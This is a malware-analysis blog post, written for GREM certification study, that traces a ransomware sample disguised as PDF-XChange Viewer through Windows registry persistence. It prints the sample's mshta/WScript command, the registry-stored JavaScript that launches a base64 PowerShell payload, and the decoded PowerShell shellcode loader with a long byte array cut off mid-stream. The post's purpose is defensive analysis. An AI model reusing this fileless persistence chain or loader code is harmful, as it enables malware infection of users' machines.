3697 rows × 5 columns


At this point, we can convert this notebook to a python script that we can run in our environment.
Also once again, big thanks to Joe Petroske for doing the initial heavy lifting.


Monday, January 11, 2021

Malware Analysis - Learning about PDF-XChange Viewer Ramsomware

This post and all others for this month are part of the series which I used to help me prepare for my GIAC Reverse Engineer Malware (GREM) certification.

The name PDF-XChange Viewer was learned via static analysis with Resource Hacker. Here is what the Version Info shows.

1 VERSIONINFO
FILEVERSION 2,5,314,0
PRODUCTVERSION 2,5,0,0
FILEOS 0x40004
FILETYPE 0x2
{
BLOCK "StringFileInfo"
{
	BLOCK "041504E2"
	{
		VALUE "CompanyName", "Tracker Software Products (Canada) Ltd."
		VALUE "FileVersion", "2.5.0314.0000"
		VALUE "LegalCopyright", "Copyright (C) 2001-2015 by Tracker Software Products (Canada) Ltd."
		VALUE "LegalTrademarks", "Tracker Software Products (Canada) Ltd."
		VALUE "ProductVersion", "2.5"
		VALUE "SpecialBuild", ""
		VALUE "PrivateBuild", ""
		VALUE "ProductName", "PDF-XChange Viewer"
		VALUE "Comments", "PDF-XChange Viewer"
		VALUE "FileDescription", "PDF-XChange Viewer"
		VALUE "InternalName", "PDF-XChange Viewer"
		VALUE "OriginalFilename", "PDFXCview.exe"
	}
}

BLOCK "VarFileInfo"
{
	VALUE "Translation", 0x0415 0x04E2  
}
}


Looking at some of the artifacts created via ProcDot, we see the PDFXCView.exe process created a regsvr32.exe process. This regsvr32.exe then spawned another regsvr32.exe. This second regsvr32.exe seems to be responsible for the network communication, as it had 17 different IPs, which it attempted to communicate with. Here is the first 8 of those IPs. 


At this point, we could check our logs to see if any of these IP addresses show up as a possible indicator of compromise (IoC). I recommend you look as far back as your logs allow and if possible as far forward as you can. Obviously, It also interacted heavily with the registry creating multiple keys, values and adding data. For us, we will start with the key ekce and its values. 


We can further confirm these IoCs exist by looking at the registry from a snapshot perspective.

C:\Users\SecurityNik> reg query HKCU\Software\EKCE

HKEY_CURRENT_USER\Software\EKCE
    bnjfoe    REG_SZ    IS*Œõ;¢´÷ªÙk®#°*R¼˜pM®9ê£ö4ŒßÁÓÏ·(ê5Ðñ]¶
¶%&´^÷pA¬å4ñªy‰Ïòƒ®ßt2&¤UêmµuE•¢f-¨²Ó¯Vˆ/ŒÁ%ÜIšttÑaùZ†—¡óÖ££6¬‡“(¥X‰nµÐÄ_¾ômþWtÝtbäü®7óÇ€ú`Ç÷6¦øWXst¦@Û8@žg]¹h4s¦ÔTm˜»òÙ{Vðœ€D@ÀñÏ%Û—¹Èß7@ª©ËGç»ÛO‡Èl›lovË.‚`(S[¢ƒÂQ¡Áa²
    plfi    REG_SZ    NPrroM5ZysxcLiKdpLy="B3E3mloEQ5uU3w0Z8h";vrZlTAZwOKvfQEfE0cJrFoOF="YiKC3bjjjJDFWXEEDg0PC3FrDN8pH3TIK";FFLwfclpPFBQD6UoVA="BJ0L2xhvpOcszH0IWILEwHTSQFlKvVxuRn2siTsbLoobEML";
.......
cDmpN1XoNa3BU4WhsAOGfdprm1q";PrCPNgXpjPvBfSpeFw5jxK="CYME5CVTpkG5w8tWogmKv";
    glrdixnng    REG_SZ    c24QjMM5VPvyv82p/aEZBKOJdPFdX5HDM8pLFrGfh896eGOHr5ccZ/3ZTiEZknaG5AtOm7vEgowXZ6HmFWHfnkHgjnV6ij80S5JJV39UWvVf0J5mIn8NiUatc3ge8fnkFgHCd4LKkVKgyPjAlg+xrnb+9l9QrfaPiwibloMsXDQLv1YNwbEa7t69c2xlDQ0ugVys7/aw94Msj0goX3c=
    gafd    REG_SZ    dzoW2sc/WBxJFA==
    hpcf    REG_SZ    eGsRipdqURkmT5D/HLuGur9p+ejPfpk=
    cqtr    REG_SZ    eGwQ2sU6UznMUT6H0D8tbIw=

Funny enough above we see PDFXCView also interacted with HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ which is used for persistence. The image above suggests the file 1065d.bat which is shown below was set as a value. However, looking at that key in the registry, there seems to be no evidence that this value exists.

C:\Users\SecurityNik> reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    OneDrive    REG_SZ    "C:\Users\SecurityNik\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background
    (Default)    REG_SZ    (value not set)

Worse yet, when I looked at this from the perspective of regedit.exe, I got the error below.


Leveraging autorunsc and writing it's output to a file, we then search for 1065d[.]bat and found four hits.

C:\Users\SecurityNik>autorunsc -nobanner -a *  > auturuns.txt
C:\Users\SecurityNik>type auturuns.txt | findstr /i "1065d.bat"
     "C:\Users\SecurityNik\AppData\Local\2e957\1065d.bat"
     c:\users\securitynik\appdata\local\2e957\1065d.bat
     "C:\Users\SecurityNik\AppData\Local\2e957\1065d.bat"
     c:\users\securitynik\appdata\local\2e957\1065d.bat

Interesting, Autorunsc shows the Default key actually has data that points to our suspicious file. 

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
   OneDrive
     "C:\Users\SecurityNik\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background
     Microsoft OneDrive
     Microsoft Corporation
     20.169.823.6
     c:\users\securitynik\appdata\local\microsoft\onedrive\onedrive.exe
     3/17/2012 12:37 PM
   (Default)
     "C:\Users\SecurityNik\AppData\Local\2e957\1065d.bat"
     c:\users\securitynik\appdata\local\2e957\1065d.bat
     12/15/2020 10:15 AM

Additionally, if you look above, you see two files have been created in the C:\Users\SecurityNik\AppData\Local\2e957\ directory as show below.

C:\Users\SecurityNik>dir C:\Users\SecurityNik\AppData\Local\2e957\
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\Users\SecurityNik\AppData\Local\2e957

12/15/2020  10:15 AM    <DIR>          .
12/15/2020  10:15 AM    <DIR>          ..
12/15/2020  10:15 AM                68 1065d.bat
12/15/2020  10:15 AM            16,335 67dd8.f5298e
               2 File(s)         16,403 bytes
               2 Dir(s)  37,282,160,640 bytes free

Looking into the .bat file, we see what looks like an attempt to start the second file in the folder.

C:\Users\SecurityNik>type AppData\Local\2e957\1065d.bat
start "MtyUdsl9htzewASTiSAqN5" "%LOCALAPPDATA%\2e957\67dd8.f5298e"

For the second file, we did not get much. 

C:\Users\SecurityNik>type AppData\Local\2e957\67dd8.f5298e
Ä»^╪2≥QR╩L*sÄ3═üïsÑ50ß⌐Lp┐>%≡■^í│wO

Running strings also did not return much. Looking at the file from the perspective of a hex editor, did not make things easier either.


This regsrv32.exe also then created a third regsvr32.exe with one thread. 

Continuing to focus on the additional registry created under:

HKCU\Software\Classes\.f5298e\
HKCU\Software\ekce\

Starting with HKCU\Software\Classes\, Microsoft states "The subkeys and registry values associated with the HKEY_LOCAL_MACHINE\SOFTWARE\Classes key contain information about an application that is needed to support COM functionality."

If we look closely above, the registry key has a value of  .f5298e looking closer at the file name above which the .bat file is starting, we see it ends with the same .f5298e extension. Looking at any values associated with this registry key we see ada3d which suggests the application needed to open this application can be found at HKCU\Software\Classes\ada3d.

C:\Users\SecurityNik>reg query HKCU\Software\Classes\.f5298e
HKEY_CURRENT_USER\Software\Classes\.f5298e
    (Default)    REG_SZ    ada3d

Slight detour and for context. 

If we look at the .html extension on my VM, we see FirefoxHTML seems to be the application that is needed to open HTML files.

C:\Users\SecurityNik>reg query HKCU\Software\Classes\.html
HKEY_CURRENT_USER\Software\Classes\.html
    (Default)    REG_SZ    FirefoxHTML

Looking at the HKCU\Software\Classes\FirefoxHTML we see how HTML applications are opened.

C:\Users\SecurityNik>reg query HKCU\Software\Classes\FirefoxHTML

HKEY_CURRENT_USER\Software\Classes\FirefoxHTML
    (Default)    REG_SZ    Firefox HTML Document
    FriendlyTypeName    REG_SZ    Firefox HTML Document
    EditFlags    REG_DWORD    0x2

HKEY_CURRENT_USER\Software\Classes\FirefoxHTML\DefaultIcon
HKEY_CURRENT_USER\Software\Classes\FirefoxHTML\shell


Getting back on track.

Now that we know we should look to HKCU\Software\Classes\ada3d for information on how the extension should be handled, let's do that. First up, it looks like we need to go a couple of levels down to get to the data of interest.

C:\Users\SecurityNik>reg query HKCU\Software\Classes\ada3d
HKEY_CURRENT_USER\Software\Classes\ada3d\shell

C:\Users\SecurityNik>reg query HKCU\Software\Classes\ada3d\shell
HKEY_CURRENT_USER\Software\Classes\ada3d\shell\open

C:\Users\SecurityNik>reg query HKCU\Software\Classes\ada3d\shell\open
HKEY_CURRENT_USER\Software\Classes\ada3d\shell\open\command

After digging, we see the mshta.exe launched what seems to be some Javascript which is attempting to execute WScript.Shell to read the contents in HKCU\Software\ekce\plfi which is one of he entries we learned about above.

C:\Users\SecurityNik>reg query HKCU\Software\Classes\ada3d\shell\open\command
HKEY_CURRENT_USER\Software\Classes\ada3d\shell\open\command
    (Default)    REG_SZ    "C:\Windows\system32\mshta.exe" "javascript:AbkY6N="3Kf";x7K=new ActiveXObject("WScript.Shell");VqmR6="NECv";H2Oin=x7K.RegRead("HKCU\\software\\ekce\\plfi");UY8RKFuW="jhsi";eval(H2Oin);DKqf1D="Z";"

Here is a clearer view from JSBeautifier.

AbkY6N = "3Kf";
x7K = new ActiveXObject("WScript.Shell");
VqmR6 = "NECv";
H2Oin = x7K.RegRead("HKCU\\software\\ekce\\plfi");
UY8RKFuW = "jhsi";
eval(H2Oin);
DKqf1D = "Z";

Exporting the contents of the registry key, 

C:\Users\SecurityNik>reg export HKCU\software\ekce plfi.txt
The operation completed successfully.

After cleaning up the contents of the file I then run it through Spider Monkey

remnux@remnux:/tmp$ js -f /usr/share/remnux/objects.js -f plfi.js > plfi.js.output

After running through SpiderMonkey, we now have some contents which makes sense at the beginning and some more than makes sense at the end. However, in the middle we have lots of what seems like nonsense. :-)

eNGi6Q4XNXtAFlwfXARQZOEL="nql8mNW1a1UmaBwrCuMfP6YjDPsY3Gn";f3ZASgdXhdtqDojQ0AkPb="fdX0aI0SmrtMn2zK9r";FqXe6cLyeADEEStyryEvK="IudXFkk4EVPblmOYkfhnm2sQ2TO";sSiisGwbayaiTIYmKqqZ8D="FZOB3uHZzMlwUDkS9";rhKHPnauZICdTSZ9NBaA="x6nrUpsNijADFNfErU3yesEW";try{moveTo(-100,-100);resizeTo(0,0);q7N=new ActiveXObject("WScript.Shell");(q7N.Environment("Process"))("cuez")="iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('I3d1a2JwendqZHZlc3ptaXVqZW9mZw0Kc2xlZXAoMTUpO3RyeXsNCiNtcHhyZA0KZnVuY3Rpb24gZ2RlbGVnYXRlew0KI2d2Y2MNClBhcmFtIChbUGFyYW1ldGVyKFBvc2l0aW9uPTAsTWFuZGF0b3J5PSRUcnVlKV0gW1R5cGVbXV0gJFBhcmFtZXRlcnMsW1BhcmFtZXRlcihQb3NpdGlvbj0xKV0gW1R5cGVdICRSZXR1cm5UeXBlPVtWb2lkXSk7DQojc2h0bnZ4eGJmDQokVHlwZUJ1aWxkZXI9W0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uRGVmaW5lRHluYW1 
..............
gQChbSW50UHRyXSxbVUludDMyXSxbVUludDMyXSxbVUludDMyXSxbVUludDMyXSxbSW50UHRyXSkgKFtJbnRQdHJdKSkpKS5JbnZva2UoMCwwLCRwciwkcHIsMCwwKTsNCiN3cHpvbWVjDQp9c2xlZXAoMTIwMCk7fWNhdGNoe31leGl0Ow0KI2R3a2p0dHV1ZQ0KI3lzaXVheWl2dWENCg==')))";g4wAd3=q7N.Run("C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe iex $env:cuez",0,1);}catch(e){}close();
// close()

Above we see FromBase64String, suggesting the content is base64 encoded. Taking advantage of CyberChef to decode (make sense of what I previously called nonsense) this content, we see below in yellow what suggests we are dealing with PowerShell.

#wukbpzwjdveszmiujeofg
sleep(15);try{
#mpxrd
function gdelegate{
#gvcc
Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters,[Parameter(Position=1)] [Type] $ReturnType=[Void]);
#shtnvxxbf
$TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]);
#qchm
$TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed");
#zzeiqapejn
$TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed");
#lskfqqq
return $TypeBuilder.CreateType();}
#cvhi
function gproc{
#tezffvn
Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module,[Parameter(Position=1,Mandatory=$True)] [String] $Procedure);
#icaibabqun
$SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")};
#faymzrobss
$UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods");
#rvbu
return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),$UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))),$Procedure));}
#bujmhw
[Byte[]] $sc32 = 0x55,0x8B,0xEC,0x81,0xC4,0x00,0xFA,<#eg#>0xFF,0xFF,0x53,0x56,0x57,0x53,0x56,0x57,0xFC,0x31,0xD2,0x64,0x8B,0x52,0x30,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,0x72,0x28,<#ndl#>0x6A,0x18,0x59,0x31,0xFF,<#xo#>0x31,0xC0,0xAC,<#ifd#>0x3C,0x61,0x7C,0x02,0x2C,0x20,0xC1,0xCF,0x0D,0x01,0xC7,0xE2,0xF0,0x81,0xFF,0x5B,0xBC,0x4A,<#qu#>0x6A,0x8B,0x5A,0x10,0x8B,0x12,0x75,0xDB,0x89,0x5D,<#vkc#>0xFC,0x5F,0x5E,0x5B,0x8B,0x45,0xFC,0x89,0x45,0xD4,0x8B,0x45,0xD4,0x66,0x81,0x38,0x4D,0x5A,0x0F,0x85,0x0F,0x02,0x00,0x00,0x8B,0x45,0xFC,0x33,0xD2,0x52,0x50,0x8B,0x45,0xD4,0x8B,<#ulq#>0x40,0x3C,0x99,0x03,0x04,0x24,0x13,0x54,0x24,0x04,<#lt#>0x83,0xC4,0x08,0x89,0x45,0xD0,0x8B,0x45,0xD0,0x81,0x38,0x50,0x45,0x00,0x00,0x0F,0x85,0xE5,0x01,0x00,0x00,0x8B,0x45,0xD0,0x8B,0x40,0x78,0x03,0x45,0xFC,0x89,0x45,0xCC,0x8B,<#da#>0x45,0xCC,0x8B,0x40,0x18,0x85,0xC0,0x0F,0x8C,0xCB,0x01,0x00,0x00,0x40,0x89,0x85,0x3C,0xFF,<#zq#>0xFF,0xFF,<#kbv#>0x33,0xF6,0x8B,0x45,0xFC,0x33,0xD2,0x52,0x50,0x8B,0x45,0xCC,0x8B,0x40,0x20,0x33,0xD2,0x52,0x50,0x8B,<#cvq#>0xC6,0xC1,0xE0,0x02,0x99,0x03,0x04,0x24,<#fys#>0x13,0x54,0x24,0x04,0x83,0xC4,0x08,0x03,0x04,0x24,0x13,0x54,0x24,0x04,0x83,0xC4,0x08,0x8B,0x08,0x03,0x4D,0xFC,0x81,0x39,0x4C,0x6F,0x61,0x64,0x75,0x56,0x8D,0x41,0x04,0x81,0x38,0x4C,0x69,0x62,0x72,0x75,0x4B,0x8D,0x41,0x08,0x81,0x38,<#ya#>0x61,0x72,0x79,0x41,0x75,0x40,0x8D,0x41,0x0C,0x80,0x38,0x00,0x75,0x38,0x8B,0x45,0xCC,0x8B,0x40,0x24,0x03,<#sl#>0x45,0xFC,0x33,0xD2,<#gj#>0x52,0x50,0x8B,0xC6,0x03,0xC0,<#anh#>0x99,0x03,0x04,0x24,0x13,<#dz#>0x54,0x24,0x04,0x83,0xC4,0x08,0x66,0x8B,0x00,0x8B,0x55,0xCC,<#jtt#>0x8B,0x52,0x1C,0x03,0x55,0xFC,0x0F,0xB7,0xC0,0xC1,0xE0,0x02,0x03,0xD0,0x8B,0x02,0x03,0x45,0xFC,0x89,0x45,0xBC,0x81,0x39,0x47,0x65,0x74,<#aaw#>0x50,0x75,0x56,0x8D,0x41,0x04,0x81,0x38,0x72,0x6F,0x63,0x41,0x75,0x4B,0x8D,0x41,0x08,0x81,0x38,0x64,0x64,0x72,0x65,0x75,0x40,0x8D,0x41,0x0E,0x80,0x38,0x00,0x75,<#jdj#>0x38,0x8B,0x45,0xCC,<#dtd#>0x8B,0x40,0x24,0x03,0x45,0xFC,0x33,0xD2,0x52,0x50,0x8B,0xC6,0x03,0xC0,0x99,0x03,<#kb#>0x04,0x24,0x13,0x54,0x24,0x04,0x83,0xC4,0x08,0x66,0x8B,0x00,0x8B,0x55,0xCC,0x8B,<#jta#>0x52,<#phr#>0x1C,0x03,0x55,0xFC,0x0F,0xB7,0xC0,0xC1,0xE0,0x02,0x03,0xD0,0x8B,0x02,0x03,0x45,0xFC,0x89,0x45,0xB8,0x81,<#ros#>0x39,0x56,0x69,0x72,0x74,0x75,0x56,0x8D,0x41,0x04,0x81,0x38,0x75,0x61,0x6C,0x41,0x75,0x4B,0x8D,0x41,<#gr#>0x08,<#zb#>0x81,0x38,0x6C,0x6C,0x6F,0x63,0x75,0x40,0x8D,0x41,0x0C,0x80,0x38,0x00,0x75,0x38,0x8B,0x45,<#gtc#>0xCC,0x8B,<#ua#>0x40,<#me#>0x24,0x03,0x45,0xFC,0x33,0xD2,0x52,<#ew#>0x50,0x8B,0xC6,0x03,0xC0,0x99,0x03,0x04,0x24,0x13,0x54,0x24,0x04,0x83,0xC4,0x08,0x66,0x8B,0x00,0x8B,0x55,0xCC,0x8B,0x52,0x1C,0x03,0x55,0xFC,0x0F,0xB7,0xC0,<#it#>0xC1,0xE0,0x02,0x03,0xD0,0x8B,0x02,0x03,0x45,0xFC,0x89,0x45,<#br#>0xA8,<#no#>0x81,0x39,0x45,0x78,0x69,0x74,<#rpm#>0x75,0x63,0x8D,0x41,0x04,0x81,0x38,0x50,<#vwd#>0x72,0x6F,0x63,0x75,0x58,0x8D,<#nik#>0x41,0x08,0x80,0x38,0x65,0x75,0x50,0x8D,0x41,0x09,0x80,0x38,0x73,0x75,0x48,0x8D,0x41,0x0A,0x80,0x38,0x73,0x75,0x40,0x83,0xC1,0x0B,0x80,0x39,0x00,0x75,0x38,0x8B,0x45,0xCC,0x8B,0x40,0x24,0x03,0x45,0xFC,<#gt#>0x33,0xD2,0x52,0x50,0x8B,0xC6,0x03,0xC0,0x99,0x03,0x04,0x24,0x13,0x54,0x24,<#hx#>0x04,0x83,0xC4,0x08,0x66,0x8B,0x00,0x8B,0x55,0xCC,<#wac#>0x8B,0x52,0x1C,<#yhq#>0x03,0x55,0xFC,0x0F,0xB7,<#ub#>0xC0,0xC1,0xE0,0x02,0x03,<#xvx#>0xD0,0x8B,0x02,0x03,0x45,0xFC,0x89,0x45,0xA4,0x46,0xFF,0x8D,<#xi#>0x3C,0xFF,0xFF,0xFF,0x0F,0x85,0x3E,0xFE,<#jgv#>0xFF,0xFF,0xC6,0x85,0x2F,0xFF,0xFF,0xFF,0x61,0xC6,0x85,0x30,0xFF,0xFF,0xFF,0x64,0xC6,0x85,0x31,0xFF,0xFF,0xFF,0x76,0xC6,0x85,0x32,0xFF,0xFF,<#few#>0xFF,0x61,0xC6,0x85,0x33,0xFF,0xFF,0xFF,0x70,0xC6,<#pqm#>0x85,0x34,0xFF,0xFF,0xFF,0x69,0xC6,0x85,0x35,0xFF,0xFF,0xFF,0x33,0xC6,<#ow#>0x85,<#he#>0x36,0xFF,0xFF,0xFF,0x32,0xC6,0x85,0x37,0xFF,0xFF,0xFF,0x2E,0xC6,0x85,0x38,0xFF,0xFF,0xFF,0x64,0xC6,0x85,0x39,0xFF,<#vi#>0xFF,0xFF,0x6C,0xC6,0x85,0x3A,0xFF,0xFF,0xFF,0x6C,0xC6,0x85,0x3B,0xFF,<#bwf#>0xFF,0xFF,0x00,0x8D,0x85,<#hca#>0x2F,0xFF,0xFF,0xFF,0x50,0xFF,0x55,0xBC,0x8B,0xD8,0x85,0xDB,0x75,0x05,0x6A,0x00,0xFF,<#cz#>0x55,0xA4,0x89,0x5D,0xD4,0x8B,0x45,0xD4,0x66,<#gb#>0x81,0x38,0x4D,0x5A,0x0F,0x85,0x4F,<#gk#>0x01,0x00,0x00,0x8B,0xC3,0x33,0xD2,0x52,0x50,0x8B,0x45,0xD4,0x8B,0x40,0x3C,0x99,0x03,0x04,0x24,0x13,0x54,0x24,0x04,0x83,0xC4,<#vrg#>0x08,0x89,0x45,0xD0,0x8B,0x45,0xD0,0x81,0x38,0x50,0x45,0x00,0x00,0x0F,0x85,0x26,0x01,0x00,<#ff#>0x00,0x8B,0x45,0xD0,0x8B,0x40,0x78,0x03,0xC3,0x89,0x45,0xCC,0x8B,0x45,0xCC,<#yr#>0x8B,0x40,0x18,0x85,0xC0,0x0F,0x8C,0x0D,0x01,0x00,0x00,0x40,0x89,0x85,0x3C,0xFF,0xFF,0xFF,0x33,0xF6,<#cbm#>0x8B,0xC3,0x33,<#pdr#>0xD2,<#xuj#>0x52,0x50,<#ect#>0x8B,0x45,0xCC,<#esg#>0x8B,0x40,0x20,0x33,0xD2,0x52,0x50,0x8B,0xC6,0xC1,0xE0,0x02,0x99,0x03,<#mw#>0x04,0x24,0x13,0x54,0x24,0x04,0x83,0xC4,0x08,0x03,0x04,0x24,0x13,0x54,0x24,0x04,0x83,<#llc#>0xC4,<#gc#>0x08,0x8B,0x08,0x03,0xCB,0x81,<#ca#>0x39,0x52,0x65,0x67,0x4F,0x75,0x5B,0x8D,0x41,0x04,0x81,0x38,0x70,0x65,0x6E,0x4B,0x75,0x50,0x8D,0x41,0x08,0x81,0x38,0x65,0x79,0x45,0x78,0x75,0x45,0x8D,0x41,0x0C,0x80,0x38,<#bn#>0x41,0x75,0x3D,0x8D,0x41,0x0D,0x80,0x38,0x00,0x75,<#xy#>0x35,0x8B,0x45,0xCC,0x8B,0x40,0x24,0x03,<#oa#>0xC3,0x33,0xD2,<#vg#>0x52,0x50,0x8B,0xC6,<#da#>0x03,0xC0,0x99,<#ht#>0x03,0x04,0x24,0x13,0x54,0x24,0x04,0x83,0xC4,0x08,0x66,0x8B,0x00,0x8B,0x55,0xCC,<#aae#>0x8B,0x52,0x1C,0x03,<#gt#>0xD3,0x0F,0xB7,0xC0,0xC1,0xE0,0x02,0x03,0xD0,0x8B,0x02,0x03,0xC3,0x89,0x45,0xB0,0x81,0x39,0x52,0x65,0x67,0x51,0x75,0x5E,<#pp#>0x8D,0x41,0x04,0x81,0x38,0x75,0x65,0x72,0x79,<#yht#>0x75,0x53,0x8D,0x41,0x08,0x81,0x38,0x56,0x61,0x6C,0x75,0x75,0x48,0x8D,0x41,0x0C,0x81,<#vq#>0x38,0x65,0x45,0x78,0x41,<#vh#>0x75,0x3D,0x83,0xC1,0x10,0x80,0x39,0x00,0x75,0x35,0x8B,0x45,0xCC,0x8B,0x40,<#ys#>0x24,0x03,0xC3,0x33,0xD2,0x52,0x50,0x8B,0xC6,0x03,0xC0,0x99,0x03,0x04,0x24,0x13,0x54,0x24,0x04,0x83,0xC4,0x08,0x66,0x8B,<#sw#>0x00,0x8B,0x55,0xCC,0x8B,0x52,0x1C,0x03,0xD3,0x0F,0xB7,0xC0,0xC1,0xE0,0x02,0x03,0xD0,0x8B,<#smh#>0x02,0x03,0xC3,0x89,0x45,<#hj#>0xAC,0x46,0xFF,0x8D,<#dyn#>0x3C,0xFF,0xFF,0xFF,0x0F,0x85,0xFC,0xFE,0xFF,0xFF,0x8B,<#fq#>0x45,0x08,0x05,0x48,0x0A,0x00,<#lz#>0x00,0x89,0x85,0x7C,<#mfp#>0xFF,0xFF,0xFF,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x05,0xE4,0x00,0x00,0x00,0x89,0x85,0x78,0xFF,0xFF,0xFF,0x33,0xDB,0x33,0xC0,0x89,<#nhq#>0x85,0x64,<#zmn#>0xFF,0xFF,0xFF,0x33,0xC0,0x89,0x85,0x60,0xFF,0xFF,0xFF,0x8D,0x85,0x70,0xFF,0xFF,0xFF,0x50,0x6A,0x01,0x6A,0x00,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x50,<#con#>0x68,0x02,0x00,0x00,0x80,<#mla#>0xFF,0x55,0xB0,0x85,0xC0,0x0F,0x85,0x86,0x00,0x00,0x00,<#efd#>0x8D,<#sry#>0x85,0x60,0xFF,0xFF,0xFF,0x50,0x6A,0x00,0x8D,0x85,0x6C,<#ay#>0xFF,0xFF,0xFF,0x50,0x6A,0x00,0x8B,<#vgq#>0x85,0x7C,0xFF,<#fam#>0xFF,0xFF,0x83,0xC0,0x41,0x50,0x8B,0x85,0x70,0xFF,0xFF,0xFF,0x50,<#uwj#>0xFF,0x55,0xAC,0x85,0xC0,0x75,0x5C,0x83,0xBD,0x60,0xFF,0xFF,0xFF,0x64,0x76,0x53,0x6A,0x40,0x68,0x00,0x30,0x00,0x00,0x8B,0x85,<#goi#>0x60,<#isp#>0xFF,0xFF,0xFF,<#ahc#>0x50,0x6A,<#gpr#>0x00,0xFF,0x55,<#uzi#>0xA8,0x89,0x85,0x64,0xFF,0xFF,0xFF,0x83,<#tc#>0xBD,0x64,<#ucu#>0xFF,0xFF,0xFF,0x00,0x74,0x31,0x8D,0x85,0x60,0xFF,0xFF,0xFF,0x50,0x8B,0x85,0x64,0xFF,0xFF,0xFF,0x50,0x8D,0x85,0x6C,0xFF,0xFF,0xFF,0x50,0x6A,0x00,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x83,0xC0,0x41,0x50,0x8B,0x85,0x70,0xFF,0xFF,0xFF,0x50,0xFF,0x55,0xAC,0x85,0xC0,0x75,0x02,0xB3,0x01,0x33,0xC0,0x89,0x85,<#rwz#>0x70,0xFF,0xFF,0xFF,0x84,0xDB,0x0F,0x85,0xB8,0x00,<#ut#>0x00,0x00,0x33,0xC0,0x89,0x85,<#ona#>0x64,0xFF,0xFF,0xFF,0x33,0xC0,0x89,<#btw#>0x85,<#yzx#>0x60,0xFF,0xFF,0xFF,0x8D,<#yco#>0x85,0x70,0xFF,0xFF,0xFF,0x50,0x6A,0x01,0x6A,0x00,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x50,0x68,0x01,0x00,0x00,0x80,0xFF,0x55,0xB0,<#fi#>0x85,0xC0,<#mfr#>0x0F,0x85,0x86,0x00,0x00,0x00,0x8D,0x85,0x60,0xFF,0xFF,0xFF,<#or#>0x50,0x6A,0x00,0x8D,0x85,0x6C,0xFF,0xFF,0xFF,0x50,0x6A,0x00,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x83,0xC0,0x41,0x50,0x8B,0x85,0x70,<#by#>0xFF,0xFF,0xFF,0x50,0xFF,0x55,0xAC,0x85,0xC0,0x75,0x5C,0x83,0xBD,0x60,0xFF,0xFF,0xFF,0x64,0x76,0x53,0x6A,0x40,0x68,0x00,0x30,0x00,0x00,0x8B,0x85,0x60,0xFF,0xFF,0xFF,0x50,0x6A,0x00,0xFF,0x55,0xA8,0x89,0x85,<#jo#>0x64,0xFF,0xFF,0xFF,0x83,0xBD,0x64,0xFF,0xFF,0xFF,0x00,<#cf#>0x74,0x31,0x8D,0x85,0x60,0xFF,0xFF,0xFF,0x50,0x8B,0x85,0x64,0xFF,<#rqy#>0xFF,0xFF,0x50,0x8D,0x85,0x6C,<#em#>0xFF,0xFF,0xFF,0x50,0x6A,0x00,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,<#ut#>0x83,0xC0,0x41,0x50,0x8B,0x85,0x70,0xFF,0xFF,0xFF,0x50,0xFF,0x55,0xAC,0x85,0xC0,0x75,0x02,0xB3,0x01,0x84,0xDB,0x75,0x05,0x6A,0x00,0xFF,0x55,0xA4,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x8B,0x80,0xDC,<#hjy#>0x00,0x00,0x00,0x50,0x8B,0x85,0x7C,<#nwm#>0xFF,0xFF,0xFF,0x83,0xC0,0x52,0x50,0x8D,0x85,<#bmw#>0x00,0xFA,0xFF,0xFF,0x50,0xFF,0x95,0x78,0xFF,0xFF,0xFF,0x33,0xF6,0x8D,0x8D,0x00,0xFB,0xFF,0xFF,0x89,0x31,0x46,<#jd#>0x83,<#pq#>0xC1,0x04,0x81,0xFE,0x00,0x01,0x00,0x00,0x75,0xF2,0x33,0xDB,0x33,0xF6,0x8D,0x8D,0x00,0xFB,0xFF,0xFF,0x03,0x19,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0xFF,0xB0,0xDC,0x00,0x00,0x00,0x8B,0xC6,<#kn#>0x5A,0x8B,0xFA,0x33,0xD2,0xF7,0xF7,0x33,0xC0,0x8A,0x84,0x15,0x00,0xFA,0xFF,0xFF,0x03,0xD8,0x81,0xE3,0xFF,<#ez#>0x00,0x00,0x00,0x8A,0x01,0x8B,0x94,0x9D,0x00,0xFB,0xFF,0xFF,0x89,0x11,0x25,0xFF,0x00,0x00,0x00,0x89,0x84,0x9D,<#pgr#>0x00,0xFB,0xFF,0xFF,0x46,0x83,0xC1,0x04,<#lr#>0x81,0xFE,0x00,0x01,0x00,0x00,0x75,0xB5,0x33,0xDB,0x33,0xFF,0x6A,0x40,0x68,0x00,0x30,0x00,0x00,0x8B,0x85,0x60,0xFF,0xFF,0xFF,0x